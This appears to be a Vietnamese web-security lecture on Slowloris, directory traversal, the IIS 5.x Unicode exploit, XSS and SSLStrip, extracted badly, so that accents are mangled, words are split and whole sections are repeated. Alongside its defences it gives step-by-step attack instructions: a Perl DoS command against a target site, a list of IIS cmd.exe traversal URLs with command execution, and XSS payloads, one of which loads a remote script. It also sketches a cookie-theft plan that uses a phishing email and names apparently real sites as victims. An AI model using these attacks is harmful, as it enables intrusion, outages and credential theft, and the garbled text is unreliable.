Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
